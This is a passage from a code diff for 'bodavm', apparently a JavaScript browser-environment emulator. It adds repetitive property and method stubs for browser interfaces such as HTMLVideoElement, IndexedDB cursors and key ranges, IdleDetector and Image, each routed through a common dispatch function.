bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDisplayingFullscreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "getVideoPlaybackQuality", { + configurable: true, + enumerable: true, + writable: true, + value: function getVideoPlaybackQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "getVideoPlaybackQuality", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitEnterFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitEnterFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitExitFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitExitFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullscreen", arguments); + } +}, 'prototype'); +// MediaDeviceInfo对象 + +bodavm.memory.globalobj['MediaDeviceInfo'] = function MediaDeviceInfo() { + console.log_copy('MediaDeviceInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaDeviceInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDeviceInfo'], "MediaDeviceInfo"); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "deviceId", { + configurable: true, + enumerable: true, + get: function deviceId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "deviceId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "groupId", { + configurable: true, + enumerable: true, + get: function groupId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "groupId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "toJSON", arguments); + } +}, 'prototype'); +// IDBCursor对象 + +bodavm.memory.globalobj['IDBCursor'] = function IDBCursor() { + console.log_copy('IDBCursor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBCursor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursor'], "IDBCursor"); +bodavm.toolsFunc.defineProperty('IDBCursor', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "direction", { + configurable: true, + enumerable: true, + get: function direction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "direction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "primaryKey", { + configurable: true, + enumerable: true, + get: function primaryKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "primaryKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "request", { + configurable: true, + enumerable: true, + get: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "request_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "advance", { + configurable: true, + enumerable: true, + writable: true, + value: function advance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "advance", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "continue", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "continuePrimaryKey", { + configurable: true, + enumerable: true, + writable: true, + value: function continuePrimaryKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continuePrimaryKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBCursor', "update", { + configurable: true, + enumerable: true, + writable: true, + value: function update() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "update", arguments); + } +}, 'prototype'); +// IDBCursorWithValue对象 + +bodavm.memory.globalobj['IDBCursorWithValue'] = function IDBCursorWithValue() { + console.log_copy('IDBCursorWithValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBCursorWithValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursorWithValue'], "IDBCursorWithValue"); +bodavm.memory.globalobj['IDBCursorWithValue'].prototype.__proto__ = bodavm.memory.globalobj['IDBCursor'].prototype; +bodavm.memory.globalobj['IDBCursorWithValue'].__proto__ = bodavm.memory.globalobj['IDBCursor']; +bodavm.toolsFunc.defineProperty('IDBCursorWithValue', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursorWithValue'].prototype, "IDBCursorWithValue", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +// IDBIndex对象 + +bodavm.memory.globalobj['IDBIndex'] = function IDBIndex() { + console.log_copy('IDBIndex 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBIndex)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBIndex'], "IDBIndex"); +bodavm.toolsFunc.defineProperty('IDBIndex', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "objectStore", { + configurable: true, + enumerable: true, + get: function objectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "objectStore_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "keyPath", { + configurable: true, + enumerable: true, + get: function keyPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "keyPath_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "multiEntry", { + configurable: true, + enumerable: true, + get: function multiEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "multiEntry_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "unique", { + configurable: true, + enumerable: true, + get: function unique() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "unique_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "count", { + configurable: true, + enumerable: true, + writable: true, + value: function count() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "count", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "getAllKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAllKeys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "getKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "openCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openCursor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBIndex', "openKeyCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openKeyCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openKeyCursor", arguments); + } +}, 'prototype'); +// IDBKeyRange对象 + +bodavm.memory.globalobj['IDBKeyRange'] = function IDBKeyRange() { + console.log_copy('IDBKeyRange 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBKeyRange)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBKeyRange'], "IDBKeyRange"); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "bound", { + configurable: true, + enumerable: true, + writable: true, + value: function bound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "bound", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerBound", { + configurable: true, + enumerable: true, + writable: true, + value: function lowerBound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "lowerBound", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "only", { + configurable: true, + enumerable: true, + writable: true, + value: function only() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "only", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperBound", { + configurable: true, + enumerable: true, + writable: true, + value: function upperBound() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "upperBound", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "lower", { + configurable: true, + enumerable: true, + get: function lower() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lower_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "upper", { + configurable: true, + enumerable: true, + get: function upper() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upper_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerOpen", { + configurable: true, + enumerable: true, + get: function lowerOpen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lowerOpen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperOpen", { + configurable: true, + enumerable: true, + get: function upperOpen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upperOpen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBKeyRange', "includes", { + configurable: true, + enumerable: true, + writable: true, + value: function includes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "includes", arguments); + } +}, 'prototype'); +// IdentityCredential对象 + +bodavm.memory.globalobj['IdentityCredential'] = function IdentityCredential() { + console.log_copy('IdentityCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IdentityCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdentityCredential'], "IdentityCredential"); +bodavm.memory.globalobj['IdentityCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['IdentityCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('IdentityCredential', "token", { + configurable: true, + enumerable: true, + get: function token() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdentityCredential'].prototype, "IdentityCredential", "token_get", arguments); + }, + set: undefined +}, 'prototype'); +// IdleDeadline对象 + +bodavm.memory.globalobj['IdleDeadline'] = function IdleDeadline() { + console.log_copy('IdleDeadline 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IdleDeadline)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDeadline'], "IdleDeadline"); +bodavm.toolsFunc.defineProperty('IdleDeadline', "didTimeout", { + configurable: true, + enumerable: true, + get: function didTimeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "didTimeout_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDeadline', "timeRemaining", { + configurable: true, + enumerable: true, + writable: true, + value: function timeRemaining() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "timeRemaining", arguments); + } +}, 'prototype'); +// IdleDetector对象 + +bodavm.memory.globalobj['IdleDetector'] = function IdleDetector() { + console.log_copy('IdleDetector 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.IdleDetector(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDetector'], "IdleDetector"); +bodavm.memory.globalobj['IdleDetector'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IdleDetector'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IdleDetector', "requestPermission", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPermission() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].undefined, "IdleDetector", "requestPermission", arguments); + } +}); +bodavm.toolsFunc.defineProperty('IdleDetector', "userState", { + configurable: true, + enumerable: true, + get: function userState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "userState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDetector', "screenState", { + configurable: true, + enumerable: true, + get: function screenState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "screenState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDetector', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IdleDetector', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "start", arguments); + } +}, 'prototype'); +// IIRFilterNode对象 + +bodavm.memory.globalobj['IIRFilterNode'] = function IIRFilterNode() { + console.log_copy('IIRFilterNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IIRFilterNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IIRFilterNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IIRFilterNode'], "IIRFilterNode"); +bodavm.memory.globalobj['IIRFilterNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['IIRFilterNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('IIRFilterNode', "getFrequencyResponse", { + configurable: true, + enumerable: true, + writable: true, + value: function getFrequencyResponse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IIRFilterNode'].prototype, "IIRFilterNode", "getFrequencyResponse", arguments); + } +}, 'prototype'); +// Image对象 + +bodavm.memory.globalobj['Image'] = function Image() { + console.log_copy('Image 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Image(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Image'], "Image"); +bodavm.memory.globalobj['Image'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.toolsFunc.defineProperty('Image', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "srcset", { + configurable: true, + enumerable: true, + get: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_get", arguments); + }, + set: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "isMap", { + configurable: true, + enumerable: true, + get: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_get", arguments); + }, + set: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "naturalWidth", { + configurable: true, + enumerable: true, + get: function naturalWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "naturalHeight", { + configurable: true, + enumerable: true, + get: function naturalHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "complete", { + configurable: true, + enumerable: true, + get: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "complete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "currentSrc", { + configurable: true, + enumerable: true, + get: function currentSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "currentSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "decoding", { + configurable: true, + enumerable: true, + get: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_get", arguments); + }, + set: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "lowsrc", { + configurable: true, + enumerable: true, + get: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_get", arguments); + }, + set: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_get", arguments); + }, + set: 